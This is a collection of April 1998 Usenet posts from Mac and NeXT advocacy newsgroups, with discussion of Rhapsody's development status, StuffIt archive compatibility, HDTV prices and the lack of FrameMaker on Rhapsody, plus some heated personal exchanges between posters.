References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <353C31FB.926B5243@milestonerdl.com> <6hiuf2$36m$1@news.digifix.com> <6hna1p$g3k$1@news.idiom.com> <joe.ragosta-2304980856170001@wil106.dol.net> <6ho98c$3ac$1@news.digifix.com>
In article <6ho98c$3ac$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
>On 04/23/98, Joe Ragosta wrote:
><snip>
>>There's another alternative--push people to drop .sit formats.
>>
>
> Thats unrealistic for many reasons, including volumes and
>volumes of archived files.
Ah, but how many remember the "ARC" war on PC BBSes a few years ago? Tons
of files were converted almost overnight from System Enhancement
Associates' (correct?) ARC format to ZIP because it was smaller, faster,
and a little bit more open. Provide that and a conversion tool and I think
you'd be suprised at the result.
_______________________________________________________________________
Jerry A. Copus -- Network Administrator E-Mail: copus@uwplatt.edu
University of Wisconsin - Platteville Office: 608-342-1514
One University Plaza, Platteville, WI 53818 FAX: 608-342-1427
_______________________________________________________________________
"You've taken a vow of silence, how fascinating. Tell me about it."
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Wed, 22 Apr 1998 23:10:20 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-2204982310200001@digital-03-229.hou.neoworld.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net> <353E6B86.33C6@CONVEX.COM> <353E772C.C4EBCA59@milestonerdl.com> <353EA5BD.2B34E97A@nstar.net>
In article <353EA5BD.2B34E97A@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
>>> > For God's sake, you can play Quake on a
>>> > Newton.
>>>
>>> Errrr....that was an April Fools joke. Like the DOOM joke the year before.
>>
>>Doh, I was so afraid of that. Oh, well, have a good laugh at me. :)
>>
>>MJP
Hell, I was inclined to believe you, Michael, so I guess the joke's on me,
as well!
I was, however, going to ask you how the devil it manages that feat.
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 23 Apr 1998 19:20:20 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6hoibk$kou$1@crib.bevc.blacksburg.va.us>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <6hm4ct$drl$1@news.seicom.net> <slrn6jv8rr.rmc.mbkennel@lyapunov.ucsd.edu> <6ho9b6$3f3$1@news.digifix.com>
In article <6ho9b6$3f3$1@news.digifix.com>, sanguish@digifix.com (Scott Anguish) wrote:
> On 04/23/98, Matt Kennel wrote:
> >The only real solution, of course, is to write an OpenUp.app which is
> >so good, and works on both Rhapsody and MacOS that people voluntarily
> >convert their archives.
> It would be a complete re-write..
> OpenUp relies on the BSD/Unix underpinnings to do its work.
> It uses freely available Unix apps to do the
> decompressing/compressing..
Of course, most of them are probably fairly portable to other operating
systems, too. It would be great if someone was able to rebuild them under
MacOS, and then Mac users could have a Yellow Box version of OpenUp..
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Thu, 23 Apr 1998 18:17:11 -0500
Organization: CE Software
Message-ID: <MPG.fa987ee16f8cc469898c0@news.supernews.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com> <joe.ragosta-2304981336540001@wil133.dol.net> <353F9316.8689E2A1@milestonerdl.com> <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com>
In article <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com>, jmcn@msg.ti.com
says...
> Joe is so <attack snipped>
> --
> A world without the Mac is a step closer to utopia.
>
With that sig, I wouldn't have that much to say about debating styles.
Donald
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com> <joe.ragosta-2304981336540001@wil133.dol.net> <353F9316.8689E2A1@milestonerdl.com> <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com> <MPG.fa95fae282ecf7b989704@news.itg.ti.com>
Subject: Re: IMPEACH JOBS
Date: Thu, 23 Apr 1998 19:51:06 -0400
Message-ID: <353fce69.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Jason McNorton wrote in message ...
>Also, I wanted to add that his big defense for advocating Macs is that he
>equates the Mac with a small child getting beat up in school. First of
>all, Macs aren't human.. They don't feel sad when they are picked on.
>They don't worry about their own survival. That argument was the
>flimsiest thing I've ever seen. Second, Steve Jobs and Apple are NOT
>poor little beaten up kids either. Apple can, and is, a ruthless
>company.. It's not a warm-fuzzy love fest like I've seen people claim it
>to be.
..
Don't tell me you mean that the 2 Steves aren't still cobbling Macs together
in a Southern California garage!!! FTW, Apple was busily assembling their
stuff in Singapore in *1978*. Now, there's *nothing* wrong with that since
it's how corporations make money. What's annoying is to suggest that Apple
is somehow different from the rest. They aren't and never were.
..
..
From: dbk@mcs.com (Dan "Bud" Keith)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Thu, 23 Apr 1998 00:21:22 -0500
Organization: Emergent Systems
Message-ID: <1d7wuk7.mlim0p95alh6N@dhcp215.bb.opentext.com>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <B163D015-EF2B@208.198.103.141>
Richard Hayes <dick@inficad.com> wrote:
> i still dont understand why people say stiff like "if rhapsody is still
> alive." whats not alive about? DR2 is just about out, some developers
> already have it.
I don't believe that DR2 is out to any developers yet. About a month
ago, a new batch of DR1 CDs were released to developers who hadn't
gotten them because Apple ran out of CDs from the initial batch. This
was misconstrued as a DR2 release (getting my hopes up, I must admit).
It looks like we'll have to wait until WWDC to see DR2 (likely even
longer if we're not able to attend). Of course, even the WWDC/DR2 rumour
is just a rumor. We don't even know if Apple will release a DR2. They
might go directly to CR1 (a bad idea, IMHO).
What bums me out is that I've had DR1 since November (or whenever it was
seeded to developrs) and I still can't compile a modern C++ program
(i.e., using the C++ Standard Library). Metrowerks appears to have
slipped wildly in their delivery of Rhapsody tools, which means that any
software which uses C++ significantly cannot be ported to Rhapsody this
year.
If you know any better news, please let me know. I need cheering up.
bud
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6hno82$spq$1@newsfep3.sprintmail.com> <353fa39d.26354803@news.newsguy.com>
Subject: Re: first post
Date: Thu, 23 Apr 1998 20:05:25 -0400
Message-ID: <353fd1c6.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Tom Elam wrote in message <353fa39d.26354803@news.newsguy.com>...
>On 23 Apr 1998 15:54:42 GMT, macghod@concentric.net wrote:
>
>>Wooo hooo! My first posting under Openstep! I would like to thank all
those
>>who helped me get OPENSTEP PPP working. You know who you are :)
>
>Congratulations! It took all of 5 minutes for me to get Win 95 PPP set up,
>connected to my ISP and make my first post. (:
>
>
..
I knew this would come up sooner or later so, from an unopened letter from a
new ISP to a full connect (IP, DNS, etc) on my WINNT 4.0 Box:
4 minutes.
..
..
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Thu, 23 Apr 1998 11:06:54 -0700
Organization: Trilithon Research and Trading
Message-ID: <353F833E.7B9AF94F@trilithon.com>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net>
Mime-Version: 1.0
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In article <01bd6e3f$00eed8d0$04387880@test1>, "Todd Heberlein"
<todd@NetSQ.com> wrote:
* o HDTV sets are supposed to be available around
* this Christmas season.
They're available now, at the Audible Difference in
Palo Alto. Price: $18,000. That's Eighteen Kilo Simoleons.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
Date: Thu, 23 Apr 1998 20:50:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Message-ID: <joe.ragosta-2304982050200001@elk70.dol.net>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net> <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>
In article <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>,
bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > In article <6hnou5$spq$3@newsfep3.sprintmail.com>, macghod@concentric.net
> > wrote:
>
> > > I would suggest if RHapsody is $500 or more a good many people will not
> > > buy it. Of course hopefully Rhapsody will only cost about $200
> >
> > But if Sonata offers all of Rhapsody except the CLI and BSD support, who
> > cares?
>
> The teeming hordes in edu, scitech, and small-d developer circles. :^)
> Okay, the numbers aren't huge, but this is the central core of Apple's
> core market.
But Apple has already stated that .edu customers will get special pricing.
As for the Sci-tech people, most of them aren't going to balk at $400-500
for an OS. That happens to be the list price for NT, BTW.
Small developers? Many are .edu. Others can get by withouth the BSD stuff
(or can use FreeBSD).
>
> Publishing, too, has its uses for a CLI unix (SGML, TeX, Lout, psutils,
> sed, uniq, &c.) -- and would be very pleased to have it available right
> alongside the Blue and Yellow Boxes at a competitive workstation-OS
> price.
How many graphics artists use CLI? SERIOUS graphics artists....
>
> But who knows? Maybe Apple is thinking, "What we really need now is a
> greater number of yet smaller niches..."
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 23 Apr 1998 20:51:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Message-ID: <joe.ragosta-2304982051510001@elk70.dol.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com> <joe.ragosta-2304981336540001@wil133.dol.net> <353F9316.8689E2A1@milestonerdl.com> <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com>
In article <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> Joe is so repetitive and so insulting that it really is hard to deal
> with. His constant usage of "Don't let the facts get in the way of your
> FUD" or the more recent "but I understand that you don't know about..."
> is the worst. He has to be the biggest pain in the world to deal with.
> My tagline, in effect, is a tribute to Joe sorta.. His insanely one
> sided advocacy spawned the idea of using it against him in a way too.
Let's see.....no logical arguments here--just ad hominem attacks.
>
> Joe knows how to hide behind debating tactics very well. He'll drop off
> threads that show him to be wrong or he will fight over semantics for
> weeks while the original topic is long lost. He screams "ad hominum
> attack" all the time, while using it himself with words like PC herd,
> Wintel fanboy, and so on.. He calls people clueless almost daily, but if
> you dare say one tiny thing about his integrity he'll call you a liar so
> fast your head will spin. If Joe treated his wife like this she'd leave
> him in a second, I'm certain. There is no compromise with him. There
> are only insults and ridiculously tired debating tactics to hide behind.
Let's see.....just more ad hominem attacks.
I know you don't like to hear it, but that's all you're doing. If you feel
like a rational debate, feel free to try.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Thu, 23 Apr 1998 13:54:42 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353F8E72.51B9@CONVEX.COM>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146>
<6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net>
<6hg243$l1p$1@vixen.cso.uiuc.edu> <353B9AF0.4C2D@CONVEX.COM>
<6hga5e$57p$13@ironhorse.plsys.co.uk> <353BB67A.5229@CONVEX.COM> <6hnprb$57p$28@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> Really, I think you should put your unfortunate experiences with NEXTSTEP
> behind you and get on with Life.
Mmmm, you brought it up, not me. Feel free to continue to
mischaracterize my remarks, you're only embarassing yourself, mmalc.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
Date: Thu, 23 Apr 1998 20:53:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Message-ID: <joe.ragosta-2304982053310001@elk70.dol.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com> <joe.ragosta-2304981336540001@wil133.dol.net> <353F9316.8689E2A1@milestonerdl.com> <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com> <MPG.fa95fae282ecf7b989704@news.itg.ti.com>
In article <MPG.fa95fae282ecf7b989704@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> Also, I wanted to add that his big defense for advocating Macs is that he
> equates the Mac with a small child getting beat up in school. First of
Nope. I equated Mac _users_ with small kids getting beat up at school.
> all, Macs aren't human.. They don't feel sad when they are picked on.
> They don't worry about their own survival. That argument was the
> flimsiest thing I've ever seen. Second, Steve Jobs and Apple are NOT
Can you say "analogy"?
> poor little beaten up kids either. Apple can, and is, a ruthless
> company.. It's not a warm-fuzzy love fest like I've seen people claim it
> to be.
Nice straw man. I never claimed that it was. Nor does it's ruthlessness or
lack thereof have anything to do with the Mac--which is what I defend.
Besides, it's sort of funny seeing you call Apple a ruthless company. What
do you call its largest OS competitor?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Thu, 23 Apr 1998 14:01:30 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353F900A.86@CONVEX.COM>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
<6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM>
<6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net>
<6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net> <6hn5it$57p$25@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> I think you have little sense of the definition of war:
[definition cut]
> Nowhere does the definition state that it is a struggle betweek *two*
> parties.
Sorry, war is *not* a "struggle between 2 parties", as I said. It's
actually a "struggle between n parties". Why, look! Right below my
quote:
"If you view
Apple's struggle as fundamentally between it and Microsoft, or it and
Sun, or it and some other bogeyman,"
I listed n parties, not 2. What do you know.
> The metaphor "Business is war" has been around for a long time.
"The customer is always right" has been around a long time, too. Another
war of cliches, I see.
> It's sad that you seem increasingly intent on making bitter jibes based on
> decreasingly relevant points. This ad hominem attack is really beneath you.
Call it what you like, mmalcolm. It's apparent I messed with the wrong
group of Montagues. Unwilling to entangle myself further in your verbal
challenge, I leave you and Kristofer and Don to your wounded-soldier
snit.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: uli@tallowcross.uni-frankfurt.de (Uli Zappe)
Newsgroups: comp.sys.next.advocacy
Subject: but what about FrameMaker?
Date: 23 Apr 1998 18:41:25 GMT
Organization: Frankfurt University Computing Center
Message-ID: <6ho20l$8gj@tallowcross.uni-frankfurt.de>
Hm,
everybody around here is talking about Photoshop when she/he talks about
Adobe.
I don't care much about Photoshop since we'll have TIFFany.
But what app will replace FrameMaker? So far the only text oriented apps I
know of will be from AFS, and while certainly good apps, so far they're not a
Frame replacement.
Don't get me wrong: The FrameMaker/NEXTSTEP GUI is *awful*. I don't want
*this* kind of FrameMaker on Rhapsody. But I think it's absolutely crucial to
have a high-end app for writing books, documentation etc.
Bye
Uli
--
_____________________________________________________________________
Uli Zappe E-Mail: uli@tallowcross.uni-frankfurt.de
(NeXTMail,Mime,ASCII) PGP on request
Lorscher Strasse 5 WWW: -
D-60489 Frankfurt Fon: +49 (69) 9784 0007
Germany Fax: +49 (69) 9784 0042
staff member of NEXTTOYOU - the German NEXTSTEP/OPENSTEP magazine
_____________________________________________________________________
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 23 Apr 1998 12:09:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B164DFD8-7DE47@206.165.43.25>
References: <353ebd6e.0@news.depaul.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
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Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
[...]
> That said, I am concerned about how quiet c.s.n.programmer, next-prog,
> and rhapsody-dev have been. I've seen some new faces, but not very
> many at all. If there was a lot of rhapsody development (or preparation
> for same) going on, I'd expect to see more participation.
It's been very quiet on AIMED-talk, also. Comp.sys.mac.programmer.misc has
81 messages in the last 10 days, which is quite a bit down from the glory
years 3- years ago, when comp.sys.mac.programmer had to be split into
several newsgroups.
On the other hand, csmp.codewarrior has 252 messages since 4/18/1998, so
that seems healthy enough. Of course, CWP3 was just released, so that
should die down in a few weeks.
Anyone hear any rumors about the projected attendance at WWDC this time?
Despite the spin-doctoring (Apple does NOT pay the way for over a thousand
employees to attend for free and there are NOT 500 members of the press
attending), there were 1500 fewer participants at the last WWDC compared to
the year before.
The REAL test will be WWDC figures for this year. WHo is going, I wonder.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Thu, 23 Apr 1998 16:02:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Message-ID: <joe.ragosta-2304981602190001@wil124.dol.net>
References: <01bd6e3f$00eed8d0$04387880@test1> <kalivoda-2304981044320001@defiant.cssites.uga.edu> <nasadowsk-2304981523500001@137.49.238.182>
In article <nasadowsk-2304981523500001@137.49.238.182>,
nasadowsk@uhavax.hartford.edu (Philip Nasadowski) wrote:
> I'd take a "wait and see" attitude toward HDTV - it's been a long promised
> thing, and seriously, I haven't seen the level of customer interest in it
> the DVD or DSS created - and that interest goes WAY down when you mention
> the set cost (>$2000US). Most people aren't serious enough with TV to lay
> down the kind of money HDTV people are talking about. Most people are
> fine with the current NTSC system, and I really don't see that changing
> anytime soon.
>
> As for DIVX, I fear it NOT for what it will do to the "rental" market - if
> fear it for what it will do to the SOFTWARE and MUSIC industry. DIVX is a
> warm up to see how people accept the concept of "pay per view, but wait, I
> OWN the damm disc, don't it?" If it flys, you can BET that CDs and
> Software will follow.
>
> In short, say goodbye to the idea that you actually own the CD or software
> you payed through the nose for.
Actually, it's too late. In most cases, you already _don't_ own the
software you paid for. You own a license to use it.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Thu, 23 Apr 1998 14:11:49 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353F9275.95CA4AF3@milestonerdl.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net> <353E6B86.33C6@CONVEX.COM> <TheLidlessEyeTh-2204982030160001@digital-03-229.hou.neoworld.net> <slrn6jv68s.rmc.mbkennel@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> So, how could Apple have made the Newton successful????
>
> The answer that nobody considered:
>
> Create a full DESKTOP COMPUTER running NewtonOS.
> With honest to god real programs.
>
> Once people adopt the NewtonDesktop as their ''regular computer'', then
> they could find uses for a $1000 transportable Newton form factor computer.
>
> In 1992 Apple should have transformed NewtonOS into the next generation
> Apple operating system.
>
Read Defying Gravity and you'll find that WAS the original plan.
(Listen to Joe Ragosta, and he'll tell you you that you should be flamed for
saying something so stupid.)
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: AMD gets Alpha?
Newsgroups: comp.sys.next.advocacy
Message-ID: <353fa077.0@news.depaul.edu>
Date: 23 Apr 98 20:11:35 GMT
Evidently, the FTC quashed part of the Digital-Intel merger. They won't
let Intel make Alphas. Instead, the FTC gave Digital a list of acceptable
companies, including AMD and IBM.
"Rather, Digital will license its Alpha technology to _Advanced Micro Devices_, _Samsung Electronics_, and other commission-approved licensees. In addition, Digital would be required to begin the process of certifying _IBM_ or another commission-approved company as an alternative manufacturer of Alpha chips."
It would be incredibly cool if AMD could use some Alpha technology in
a new line of Intel-compatible chips. I don't know if that will be
allowed, though.
An inexpensive K6/Alpha hybrid, manufactured by AMD and IBM, could really
hurt Intel if priced right.
(And Rhapsody would run really nicely on it.)
http://www.news.com/News/Item/0,4,21418,00.html?st.ne.fd.mdh
From: jpalmer@-noshpam-best.com (Joseph Palmer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Thu, 23 Apr 1998 19:57:47 GMT
Organization: My organization? Least recently used.
Message-ID: <6ho6g4$mfv$1@nntp1.ba.best.com>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu> <see-below-2204982044230001@209.24.241.227> <353ebd6e.0@news.depaul.edu> <6hn2h6$57p$23@ironhorse.plsys.co.uk>
In article <6hn2h6$57p$23@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
<SNIP>
>
>(1) I think there are a lot of people out there doing stuff *quietly*,
>because they don't want others to know.
This makes good sense if their vertical app is compelling enough to make
a user buy the OS just for that one app. Yes, I've heard there are such apps,
and when I need one of them I would not hesitate to buy it.
(Isn't that really pretty much the story on OpenStep anyway?)
But it doesn't make sense if the app is a horizontal app, in that case you
want to push the OS platform as much as you can, in public, in private,
everywhere, even if it might help your competition, because without a wide
base your business model will fail.
You do the math.
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 23 Apr 1998 20:24:29 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6jv8rr.rmc.mbkennel@lyapunov.ucsd.edu>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <forrestDELETE-THIS!-2004982259110001@term1-10.vta.west.net> <6hm4ct$drl$1@news.seicom.net>
On 23 Apr 1998 01:09:49 GMT, Frank M. Siegert <frank@this.NO_SPAM.net> wrote:
:In <forrestDELETE-THIS!-2004982259110001@term1-10.vta.west.net> Forrest
:Cameranesi wrote:
:> Scott, could you just do a clean-room .sit decompression engine, or would
:> that we way over your head? (I wouldn't know, I'm not a programmer, I just
:> hang around a lot of them).
:
:Yeah... and after you put in a lot of effort watch them change the file
:format in their next release. You cannot win by running behind a proprietary
:file format, you can only ignore it.
True.
The only real solution, of course, is to write an OpenUp.app which is so
good, and works on both Rhapsody and MacOS that people voluntarily convert
their archives.
To make sure this is easy, OpenUp.app should have some facility to call
some user's copy of StuffIt programmatically to UnStuffIt and then repack
the files as OpenUp compatible archives.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Thu, 23 Apr 1998 14:59:01 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-2304981459010001@130.130.117.53>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net> <353F833E.7B9AF94F@trilithon.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <353F833E.7B9AF94F@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
:In article <01bd6e3f$00eed8d0$04387880@test1>, "Todd Heberlein"
:<todd@NetSQ.com> wrote:
: * o HDTV sets are supposed to be available around
: * this Christmas season.
:They're available now, at the Audible Difference in
:Palo Alto. Price: $18,000. That's Eighteen Kilo Simoleons.
Can anyone explain why this is the case. I would be happy with a small
screen and I don't understand why I shouldn't just be able to hook a cheap
box up to my computer and pipe it out to a 19" monitor. How complicated
can it be to get a digital signal to display on a 1600x1200 monitor?
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: but what about FrameMaker?
Message-ID: <1998042402024500.WAA06812@ladder01.news.aol.com>
Date: 24 Apr 1998 02:02:45 GMT
Organization: AOL http://www.aol.com
References: <6hoa4m$p96$1@xmission.xmission.com>
As has been noted here in the past, FrameMaker for the NeXT was ported by Omni
Development, and that in theory, it'd be pretty easy for this to be repeated.
I'm not so sure that that's what I want--perhaps I'm bitter about having FM 2.1
which won't run under NS 3.x or later--but I'm far more taken with TeX and find
LyX more interesting than FrameMaker.
I'll admit that I wish that CedarWord would emulate more than just TeX's
linebreaking/hyphenation/justification algorithm, though.
As a hedge, I'd be willing to add my name to a petition for Frame for Rhapsody
though.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: but what about FrameMaker?
Date: 23 Apr 1998 15:00:06 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6hoa4m$p96$1@xmission.xmission.com>
References: <6ho20l$8gj@tallowcross.uni-frankfurt.de>
Uli Zappe <uli@tallowcross.uni-frankfurt.de> wrote:
: everybody around here is talking about Photoshop when she/he talks about
: Adobe.
: But what app will replace FrameMaker? So far the only text oriented apps I
: know of will be from AFS, and while certainly good apps, so far they're not a
: Frame replacement.
I got into a flame war a few months back with the Linux partisans about
why I wouldn't use Linux without a recent (read: 5.1.1) version of
Frame+SGML. After failing to convince me that the old 3.0 version for SCO
running under emulation was good enough, and that I was a dolt for not
switching to the GIMP, LyX, and the Applix word processor, they finally
gave up.
But this holds with Rhapsody, too--as nice as WriteUp may be, it's not a
substitute for Frame.
I have written three-and-a-half books, two sets of API documentation, and
I am working on my fourth book, all using Frame. I started writing my
first book using WordPerfect under DOS, then under Windows, then under
NEXTSTEP. WP is a decent word processor. But it couldn't meet the
requirement of writing long documents.
Until I switched from doc to dev, I could not use Rhapsody as anything
other than a telnet session launcher. (Now all I need is a good JDK 1.1.5
implementation with Swing.)
: Don't get me wrong: The FrameMaker/NEXTSTEP GUI is *awful*. I don't want
: *this* kind of FrameMaker on Rhapsody. But I think it's absolutely crucial to
: have a high-end app for writing books, documentation etc.
It's just as bad as all the other versions. =) And I would settle for that
UI, plus the 5.1.1 deltas over the 3.2 version that was last shipped.
Last summer or fall, whenever DR1 shipped, I sent some mail to John
Warnock about Frame on Rhapsody, and he responded, saying that it was on
the radar, and he referred me to the project manager for Frame+SGML. But
that has been a year, and so far, no inklings have popped up their little
heads to remind me that yes, Adobe is thinking about fmsgml.
Maybe we should start a petition. I work for Adobe's largest customer for
